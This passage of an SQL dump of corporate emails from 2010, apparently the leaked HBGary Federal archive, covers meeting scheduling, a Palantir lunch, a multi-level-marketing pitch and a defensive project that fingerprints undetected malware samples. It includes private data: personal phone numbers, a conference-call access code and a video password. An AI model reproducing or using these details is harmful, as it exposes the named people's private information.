-----\r\nFrom: Aaron Barr \r\nTo: Burroughs, Lynda R\r\nCc: Fouche, Tim R; John Fanguy \r\nSent: Wed Aug 04 18:31:53 2010\r\nSubject: Re: TSA Opportunity\r\n\r\nLynda,\r\n\r\nIt was great talking with you.  Attached find the SOW.  If the time is ok I will send a meeting notice for 3:30pm tomorrow to discuss.  Also I have CC\'d John Fanguy from DMI who is leading the capture for this effort.\r\n\r\nAaron\r\n\r\n',6568,'aaron_hbgary_com/6568.html'),(9725,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007658.M554980P14101Q4580.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Was it Mark McGovern','Hmmmm.... I am meeting with him on Monday.\r\n\r\n\r\nOn Aug 4, 2010, at 6:57 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Yeap\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 3:44 PM\r\n> To: Penny Leavy\r\n> Subject: Was it Mark McGovern\r\n> \r\n> that you didn\'t much care for?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9605,'aaron_hbgary_com/9605.html'),(9726,'2010-08-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007658.M774496P14101Q4581.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Was it Mark McGovern','Good luck with that:)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 4:02 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Was it Mark McGovern\r\n\r\nHmmmm.... I am meeting with him on Monday.\r\n\r\n\r\nOn Aug 4, 2010, at 6:57 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Yeap\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 3:44 PM\r\n> To: Penny Leavy\r\n> Subject: Was it Mark McGovern\r\n> \r\n> that you didn\'t much care for?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',14430,'aaron_hbgary_com/14430.html'),(9727,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007659.M316637P14101Q4583.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Was it Mark McGovern','right. :(\r\n\r\nOn Aug 4, 2010, at 7:06 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Good luck with that:)\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 4:02 PM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Was it Mark McGovern\r\n> \r\n> Hmmmm.... I am meeting with him on Monday.\r\n> \r\n> \r\n> On Aug 4, 2010, at 6:57 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> Yeap\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 04, 2010 3:44 PM\r\n>> To: Penny Leavy\r\n>> Subject: Was it Mark McGovern\r\n>> \r\n>> that you didn\'t much care for?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8876,'aaron_hbgary_com/8876.html'),(9728,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007659.M516212P14101Q4584.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: izigg','FYI --This is my buddy that works at CDC, still enthusiastic about that mobile marketing thing, izigg.---------- Forwarded message ----------From: Carl Tegeder, Jr &lt;carl.tegeder@gmail.com&gt;\r\nDate: Wed, Aug 4, 2010 at 5:06 PMSubject: iziggTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nCarl Tegeder, Jr has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/04/2010\r\n\r\n\r\n  Subject:\r\n  izigg\r\n\r\n\r\n\r\n  Ted,\r\n\r\n\r\n\r\nThis is not a scam.  Look at the press release and FB fan page.  It is not too late....\r\n\r\n\r\n\r\nIZigg is going to be the largest mobile media company in the world. \r\n\r\n\r\n\r\nThis is an oppurtunity for you to learn more about Izigg and how you could make additional money part-time by promoting this to your network of people. \r\n\r\n\r\n\r\nPlease visit http://www.izigg.com/signmeup and watch the videos to understand more about what the service is and how you can make money doing this. I have already made good money part time from this with only a few hours a week. I wanted to share the oppurtunity with you. \r\n\r\n\r\n\r\nTo see how the service works text carl to 90210 and you will get my contact info. \r\n\r\n\r\n\r\nYou can also visit the facebook fan page at http://www.facebook.com/iZiggMobile for even more info. \r\n\r\n\r\n\r\nThere is also a press kit in pdf located here: http://www.izigg.com/Content/pdf/iZigg%20Press%20Kit.pdf\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',14513,'aaron_hbgary_com/14513.html'),(9729,'2010-08-04','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007659.M756829P14101Q4585.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Do you have a telecon you like to use?','Long story, but I personally use 605-475-4850 code 1066743*\r\n\r\n\r\n-John \r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\nOn Aug 4, 2010, at 7:07 PM, \"Aaron Barr\"  wrote:\r\n\r\n> If so I will include it in the meeting notice or create a bridge in webex.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',7590,'aaron_hbgary_com/7590.html'),(9730,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007659.M964961P14101Q4586.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Do you have a telecon you like to use?','OK I have a Mantech meeting from 2:30-3:30 which likely could go long, but I will try to work it out and at a minimum pop onto the call in the beginning but may not be able to stay long...we\'ll work it out.\r\n\r\nThis will be fun! right? :)\r\n\r\nAaron\r\nOn Aug 4, 2010, at 7:09 PM, John Fanguy wrote:\r\n\r\n> Long story, but I personally use 605-475-4850 code 1066743*\r\n> \r\n> \r\n> -John \r\n> \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n> \r\n> On Aug 4, 2010, at 7:07 PM, \"Aaron Barr\"  wrote:\r\n> \r\n>> If so I will include it in the meeting notice or create a bridge in webex.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14418,'aaron_hbgary_com/14418.html'),(9731,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007659.M98886P14101Q4582.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Do you have a telecon you like to use?','If so I will include it in the meeting notice or create a bridge in webex.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9749,'aaron_hbgary_com/9749.html'),(9732,'2010-08-04','\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>','/aaron@hbgary.com/new/1297007660.M184410P14101Q4587.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: TSA ITSSS Opportunity @ Thu Aug 5 3:30pm - 4:30pm (lynda.burroughs@mantech.com)','\r\n\r\n\r\nAccepted: Invitation: TSA ITSSS Opportunity @ Thu Aug 5 3:30pm - 4:30pm (lynda.burroughs@mantech.com)\r\n\r\n\r\n\r\n\r\n\r\n',7751,'aaron_hbgary_com/7751.html');
INSERT INTO `emails` VALUES (9733,'2010-08-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007660.M408222P14101Q4588.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: New DDNA Project','Can you send that malware set to Shawn - he can have a fingerprint graph built for it.  Chris knows how to calculate them.\r\n \r\n-Greg\r\n \r\n \r\nOn Wed, Aug 4, 2010 at 3:32 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nLOL.  The picture adds a lot. \r\n\r\nHopefully we get some good results.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 4, 2010, at 5:58 PM, Phil Wallisch wrote:\r\n\r\n\r\n\r\nTeam,This is FYI (no action required).  I obtained an archive of 1031 files that got 0 AV detection on VT at the time of submission.  I have given them to Ted to run though the TMC.  My goal is gauge our DDNA accuracy.  It&#39;s just a little side project that I hope benefits us all.  I plan on pulling some trait requirements out of them once I &#39;Escape From New York&#39;.\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n&lt;topten-plissken.jpg&gt;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',3022,'aaron_hbgary_com/3022.html'),(9734,'2010-08-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007660.M647582P14101Q4589.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm 	(msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately disaster struck on one of my sites and I have to be downtown at this time tomorrow.\r\n&nbsp;\r\nYou still want to come to meet with Zollman?\r\n&nbsp;\r\nMatthew Steckman\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\nmsteckman@palantir.com | 202-257-2270\r\n&nbsp;\r\n&nbsp;\r\n-----Original Appointment-----\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\nSent: Wednesday, August 04, 2010 6:40 PM\r\n\r\nTo: Aaron Barr; Matthew Steckman\r\n\r\nSubject: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\nWhen: Thursday, August 05, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Palantir Lunch Line\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nmore\r\ndetails &raquo;\r\n\r\nLunch at Palantir\r\n\r\n\r\n\r\n\r\nWhen\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thu Aug 5 12pm &#8211; 1pm Eastern Time\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWhere\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Lunch Line (map)\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nCalendar\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8226;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&#8226;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nGoing?&nbsp;&nbsp; Yes\r\n- Maybe\r\n- No&nbsp;&nbsp;&nbsp;\r\nmore\r\noptions &raquo;\r\n\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this courtesy email at the account msteckman@palantirtech.com because you are an attendee of this event.\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at\r\nhttps://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n\r\n\r\n &lt;&lt; File: invite.ics &gt;&gt; \r\n&nbsp;\r\n\r\n\r\n\r\n',1435,'aaron_hbgary_com/1435.html'),(9735,'2010-08-04','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297007660.M865670P14101Q4590.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm 	(msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nI can preview the proposition &#8211; having watched Greg&#8217;s talk at Blackhat, I think you guys really should see what we&#8217;re doing with Object Explorer in 3.0. Fantastic talk &#8211; even\r\nif it did have 7 maltego slides and only one Palantir one J.\r\n&nbsp;\r\nThe fingerprint tool pulls out very specific, named features of malware for clustering; OE is really good at starting with hundreds of thousands (or millions) of objects and drilling\r\ndown and then charting based on specific features. So, if you want to only find malware with a specific keylogger *and* a specific exfil library and then chart the timeline over which it was collected, it&#8217;s about a a 7-click operation. And super-fast,\r\ntoo, even across a million fingerprint output objects.\r\n&nbsp;\r\nMind you, I don&#8217;t have a malware library to run fingerprint against, so I&#8217;ll demo what we&#8217;ve done with network logs. But you guys *do* have a malware library. Maybe we\r\neven contributed a few samples to it.\r\n&nbsp;\r\nFWIW, Palantir lunch line tomorrow is clam &amp; seafood bake, if I read the sign correctly.\r\n&nbsp;\r\n_________________________________________________________\r\n\r\nAaron Zollman\r\n\r\nPalantir Technologies | Embedded Analyst\r\n\r\nazollman@palantirtech.com | 202-684-8066\r\n&nbsp;\r\n&nbsp;\r\n_____________________________________________\r\n\r\nFrom: Matthew Steckman \r\n\r\nSent: Wednesday, August 04, 2010 7:37 PM\r\n\r\nTo: Aaron Barr\r\n\r\nCc: Aaron Zollman\r\n\r\nSubject: RE: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n&nbsp;\r\n&nbsp;\r\nUnfortunately disaster struck on one of my sites and I have to be downtown at this time tomorrow.\r\n&nbsp;\r\nYou still want to come to meet with Zollman?\r\n&nbsp;\r\nMatthew Steckman\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\nmsteckman@palantir.com | 202-257-2270\r\n&nbsp;\r\n&nbsp;\r\n-----Original Appointment-----\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\nSent: Wednesday, August 04, 2010 6:40 PM\r\n\r\nTo: Aaron Barr; Matthew Steckman\r\n\r\nSubject: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\nWhen: Thursday, August 05, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Palantir Lunch Line\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nmore\r\ndetails &raquo;\r\n\r\nLunch at Palantir\r\n\r\n\r\n\r\n\r\nWhen\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thu Aug 5 12pm &#8211; 1pm Eastern Time\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWhere\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Lunch Line (map)\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nCalendar\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8226;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&#8226;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nGoing?&nbsp;&nbsp; Yes\r\n- Maybe\r\n- No&nbsp;&nbsp;&nbsp;\r\nmore\r\noptions &raquo;\r\n\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this courtesy email at the account msteckman@palantirtech.com because you are an attendee of this event.\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at\r\nhttps://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n\r\n\r\n &lt;&lt; File: invite.ics &gt;&gt; \r\n&nbsp;\r\n\r\n\r\n\r\n',6280,'aaron_hbgary_com/6280.html'),(9736,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007661.M121527P14101Q4591.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>','Re: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)','Yummy. &nbsp;I\'ll be there.Sent from my iPhoneOn Aug 4, 2010, at 7:42 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n&nbsp;\r\nI can preview the proposition – having watched Greg’s talk at Blackhat, I think you guys really should see what we’re doing with Object Explorer in 3.0. Fantastic talk – even\r\nif it did have 7 maltego slides and only one Palantir one J.\r\n&nbsp;\r\nThe fingerprint tool pulls out very specific, named features of malware for clustering; OE is really good at starting with hundreds of thousands (or millions) of objects and drilling\r\ndown and then charting based on specific features. So, if you want to only find malware with a specific keylogger *and* a specific exfil library and then chart the timeline over which it was collected, it’s about a a 7-click operation. And super-fast,\r\ntoo, even across a million fingerprint output objects.\r\n&nbsp;\r\nMind you, I don’t have a malware library to run fingerprint against, so I’ll demo what we’ve done with network logs. But you guys *do* have a malware library. Maybe we\r\neven contributed a few samples to it.\r\n&nbsp;\r\nFWIW, Palantir lunch line tomorrow is clam &amp; seafood bake, if I read the sign correctly.\r\n&nbsp;\r\n_________________________________________________________\r\n\r\nAaron Zollman\r\n\r\nPalantir Technologies | Embedded Analyst\r\n\r\nazollman@palantirtech.com | 202-684-8066\r\n&nbsp;\r\n&nbsp;\r\n_____________________________________________\r\n\r\nFrom: Matthew Steckman \r\n\r\nSent: Wednesday, August 04, 2010 7:37 PM\r\n\r\nTo: Aaron Barr\r\n\r\nCc: Aaron Zollman\r\n\r\nSubject: RE: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n&nbsp;\r\n&nbsp;\r\nUnfortunately disaster struck on one of my sites and I have to be downtown at this time tomorrow.\r\n&nbsp;\r\nYou still want to come to meet with Zollman?\r\n&nbsp;\r\nMatthew Steckman\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\nmsteckman@palantir.com | 202-257-2270\r\n&nbsp;\r\n&nbsp;\r\n-----Original Appointment-----\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\nSent: Wednesday, August 04, 2010 6:40 PM\r\n\r\nTo: Aaron Barr; Matthew Steckman\r\n\r\nSubject: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\nWhen: Thursday, August 05, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Palantir Lunch Line\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nmore\r\ndetails »\r\n\r\nLunch at Palantir\r\n\r\n\r\n\r\n\r\nWhen\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thu Aug 5 12pm – 1pm Eastern Time\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWhere\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Lunch Line (map)\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nCalendar\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; •\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n•\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nGoing?&nbsp;&nbsp; Yes\r\n- Maybe\r\n- No&nbsp;&nbsp;&nbsp;\r\nmore\r\noptions »\r\n\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this courtesy email at the account msteckman@palantirtech.com because you are an attendee of this event.\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at\r\nhttps://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n\r\n\r\n &lt;&lt; File: invite.ics &gt;&gt; \r\n&nbsp;\r\n\r\n\r\n\r\n',14179,'aaron_hbgary_com/14179.html'),(9737,'2010-08-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007661.M324253P14101Q4592.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','video of my cyber-terrorist attack presentation',' \r\nTeam,\r\nI have uploaded a video of my practice run on the talk.  It&#39;s not linked anywhere, but you can review it if you want to at:\r\n \r\nhttps://www.hbgary.com/?p=3566&amp;preview=true\r\n \r\nI think that will work...\r\n \r\nIf it asks you for a password, it&#39;s &#39;hospitalworm&#39;\r\n \r\n-Greg\r\n',11008,'aaron_hbgary_com/11008.html'),(9738,'2010-08-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007661.M525691P14101Q4593.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','updated link','try this one..\r\n \r\nhttps://www.hbgary.com/uncategorized/cyber-crash-and-bleed/\r\n \r\nI don&#39;t know why the password protection isn&#39;t working...  I don&#39;t have this linked from anywhere but if you know the URL you can view it.\r\n \r\n-Greg\r\n',9783,'aaron_hbgary_com/9783.html'),(9739,'2010-08-05','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297007661.M724402P14101Q4594.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: New DDNA Project','Sure.  Shawn, it&#39;s on the way to /home/phil_wallisch/zero_avdetection.zipIt seems to be taking forever.  Check when you get in tomorrow morning.On Wed, Aug 4, 2010 at 7:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nCan you send that malware set to Shawn - he can have a fingerprint graph built for it.  Chris knows how to calculate them.\r\n\r\n \r\n-Greg\r\n \r\n \r\nOn Wed, Aug 4, 2010 at 3:32 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nLOL.  The picture adds a lot. \r\n\r\nHopefully we get some good results.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 4, 2010, at 5:58 PM, Phil Wallisch wrote:\r\n\r\n\r\n\r\nTeam,This is FYI (no action required).  I obtained an archive of 1031 files that got 0 AV detection on VT at the time of submission.  I have given them to Ted to run though the TMC.  My goal is gauge our DDNA accuracy.  It&#39;s just a little side project that I hope benefits us all.  I plan on pulling some trait requirements out of them once I &#39;Escape From New York&#39;.\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n&lt;topten-plissken.jpg&gt;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',10713,'aaron_hbgary_com/10713.html'),(9740,'2010-08-05','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297007661.M949759P14101Q4595.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: New DDNA Project','Actually the transfer just finished.On Wed, Aug 4, 2010 at 8:32 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nSure.  Shawn, it&#39;s on the way to /home/phil_wallisch/zero_avdetection.zipIt seems to be taking forever.  Check when you get in tomorrow morning.\r\nOn Wed, Aug 4, 2010 at 7:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nCan you send that malware set to Shawn - he can have a fingerprint graph built for it.  Chris knows how to calculate them.\r\n\r\n\r\n \r\n-Greg\r\n \r\n \r\nOn Wed, Aug 4, 2010 at 3:32 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nLOL.  The picture adds a lot. \r\n\r\nHopefully we get some good results.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 4, 2010, at 5:58 PM, Phil Wallisch wrote:\r\n\r\n\r\n\r\nTeam,This is FYI (no action required).  I obtained an archive of 1031 files that got 0 AV detection on VT at the time of submission.  I have given them to Ted to run though the TMC.  My goal is gauge our DDNA accuracy.  It&#39;s just a little side project that I hope benefits us all.  I plan on pulling some trait requirements out of them once I &#39;Escape From New York&#39;.\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n&lt;topten-plissken.jpg&gt;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',2201,'aaron_hbgary_com/2201.html'),(9741,'2010-08-05','\"Tim Riesen\" 